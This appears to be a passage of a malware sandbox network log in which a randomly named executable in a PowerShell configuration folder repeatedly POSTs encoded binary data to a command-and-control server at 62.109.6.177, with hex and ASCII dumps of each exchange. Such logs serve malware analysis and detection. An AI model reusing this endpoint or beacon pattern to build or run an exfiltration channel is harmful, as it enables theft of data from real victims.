Jan 4, 2025 13:37:30.356148958 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49762	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:30.483711958 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:30.827951908 CET	2584	OUT	Data Raw: 55 55 5f 5b 5e 5a 57 58 5d 59 52 51 5a 55 55 57 5f 58 5c 47 50 5d 56 5c 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UU_[^ZWX]YRQZUUW_X\GP]V\[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.* %3%:!"3(^'4"3 ()'"3#Y&,.\/'^.
Jan 4, 2025 13:37:31.193809032 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:31.332672119 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49763	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:31.457108021 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:31.812283993 CET	2584	OUT	Data Raw: 55 50 5f 58 5b 5f 57 5c 5d 59 52 51 5a 5c 55 57 5f 58 5c 48 50 54 56 59 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UP_X[_W\]YRQZ\UW_X\HPTVY[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-?# "25X>\%Z"6%+0_&B1P':8# 02,.\/'^.%
Jan 4, 2025 13:37:32.186445951 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:32.318160057 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49764	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:32.444792032 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:32.797199011 CET	2584	OUT	Data Raw: 50 52 5f 51 5b 59 57 5c 5d 59 52 51 5a 5c 55 5d 5f 5d 5c 46 50 57 56 5a 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PR_Q[YW\]YRQZ\U]_]\FPWVZ[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.D<$]#_25X"53$Z&*3$S)_"0]2<.\/'^.%
Jan 4, 2025 13:37:33.148752928 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:33.282757998 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49766	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:33.406634092 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:33.765435934 CET	2584	OUT	Data Raw: 55 55 5f 5c 5e 52 57 58 5d 59 52 51 5a 55 55 57 5f 5a 5c 40 50 50 56 5b 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UU_\^RWX]YRQZUUW_Z\@PPV[[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-<8Y =%%>25%]'8$^%2&9 +^&.\/'^.
Jan 4, 2025 13:37:34.117360115 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:34.252182961 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49767	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:34.376578093 CET	293	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue
Jan 4, 2025 13:37:34.734164953 CET	2584	OUT	Data Raw: 55 55 5f 5c 5b 5f 52 5b 5d 59 52 51 5a 5a 55 5c 5f 58 5c 40 50 51 56 5e 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UU_\[_R[]YRQZZU\_X\@PQV^[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-=":>Z10")5'9Y3;;%4'(=)( #_1.\/'^.
Jan 4, 2025 13:37:35.077032089 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:35.212743998 CET	151	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49768	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:35.345546007 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:35.703067064 CET	2584	OUT	Data Raw: 50 55 5f 5a 5e 5a 57 59 5d 59 52 51 5a 58 55 5c 5f 5c 5c 49 50 5c 56 5f 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PU_Z^ZWY]YRQZXU\_\\IP\V_[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.A/; :]10(:!&0+$Z1)$ U(: ]" 1<.\/'^.5
Jan 4, 2025 13:37:36.024297953 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:36.166058064 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49769	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:36.297988892 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:36.656025887 CET	2584	OUT	Data Raw: 55 52 5a 5a 5e 58 52 5c 5d 59 52 51 5a 5e 55 57 5f 54 5c 40 50 51 56 5f 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: URZZ^XR\]YRQZ^UW_T\@PQV_[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.?'":[2()=^5>$;,24Q3T(# %.\/'^.-
Jan 4, 2025 13:37:37.008028984 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:37.142386913 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49770	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:37.273442984 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2580 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:37.624842882 CET	2580	OUT	Data Raw: 50 56 5a 5f 5e 5d 57 5f 5d 59 52 51 5a 5d 55 51 5f 55 5c 45 50 54 56 5b 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PVZ_^]W_]YRQZ]UQ_U\EPTV[[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.)("9.[209\=)&"7=Y0; Y241')=, %<.\/'^.5
Jan 4, 2025 13:37:37.984152079 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:38.148315907 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49771	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:38.268517017 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49772	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:38.412009954 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 1904 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:38.768757105 CET	1904	OUT	Data Raw: 55 50 5f 5a 5e 52 57 51 5d 59 52 51 5a 5f 55 50 5f 5a 5c 46 50 53 56 5c 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UP_Z^RWQ]YRQZ_UP_Z\FPSV\[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-*<#[&0!]=:"60882&&)<T(:/7382,.\/'^.)
Jan 4, 2025 13:37:39.098675013 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:39.228429079 CET	380	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:38 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 06 1a 25 13 23 00 03 5c 23 04 33 0a 27 2a 2f 1c 35 38 26 45 2e 57 2f 01 25 27 36 06 2b 31 2b 57 20 3a 39 1f 28 06 30 0b 32 0e 00 0b 32 2a 2c 5b 04 1f 20 0a 36 01 08 01 2c 2c 38 04 38 0c 25 5f 24 5b 3f 06 3e 02 30 09 35 33 34 59 3c 3a 0f 1a 24 29 09 11 3e 04 2b 1f 30 0e 02 5a 31 01 2b 5e 02 15 27 00 2a 03 07 0b 22 07 3e 04 24 31 39 0c 24 1b 38 51 23 3b 33 1f 3e 00 26 5d 27 3c 30 1e 37 51 26 06 21 11 29 01 23 16 3c 08 24 29 25 52 2d 0d 2f 54 0e 36 56 57 Data Ascii: %#\#3'/58&E.W/%'6+1+W :9(022,[ 6,,88%_$[?>0534Y<:$)>+0Z1+^'*">$19$8Q#;3>&]'<07Q&!)#<$)%R-/T6VW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49773	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:38.531630039 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:38.893635035 CET	2584	OUT	Data Raw: 55 57 5a 5f 5e 5c 57 50 5d 59 52 51 5a 5b 55 52 5f 59 5c 47 50 5c 56 5a 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UWZ_^\WP]YRQZ[UR_Y\GP\VZ[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-0]4=$ 5Y91"_3Z1=W'<S*,73+',.\/'^.9
Jan 4, 2025 13:37:39.210052013 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:39.338774920 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49774	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:39.471616983 CET	293	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue
Jan 4, 2025 13:37:39.827922106 CET	2584	OUT	Data Raw: 50 51 5a 5f 5e 59 57 5a 5d 59 52 51 5a 5f 55 54 5f 5d 5c 48 50 50 56 5b 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PQZ_^YWZ]YRQZ_UT_]\HPPV[[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.=,3#:61=\)5=08/1$!T'98>98X4'&<.\/'^.)
Jan 4, 2025 13:37:40.166374922 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:40.290486097 CET	151	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49775	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:40.424679041 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:40.781075001 CET	2584	OUT	Data Raw: 55 55 5a 5d 5b 59 57 5d 5d 59 52 51 5a 58 55 53 5f 5f 5c 48 50 52 56 5b 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UUZ][YW]]YRQZXUS__\HPRV[[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-)4^2)>\=X ''+$['$=W' S>9+ V4',.\/'^.5
Jan 4, 2025 13:37:41.133177042 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:41.266496897 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49776	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:41.427982092 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:41.781188011 CET	2584	OUT	Data Raw: 50 52 5a 5c 5b 5b 52 5b 5d 59 52 51 5a 5f 55 51 5f 5a 5c 47 50 57 56 5f 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PRZ\[[R[]YRQZ_UQ_Z\GPWV_[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.(,8]7%10>\.6!0( Y''!Q3)S*042,.\/'^.)
Jan 4, 2025 13:37:42.107417107 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:42.235208988 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49777	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:42.360044956 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:42.718641043 CET	2584	OUT	Data Raw: 55 50 5f 5f 5b 58 57 5b 5d 59 52 51 5a 5c 55 50 5f 54 5c 46 50 53 56 5e 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UP__[XW[]YRQZ\UP_T\FPSV^[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z->;49&1>=^"':'^8&%0<*)^ (1<.\/'^.%
Jan 4, 2025 13:37:43.037110090 CET	25	IN	HTTP/1.1 100 Continue
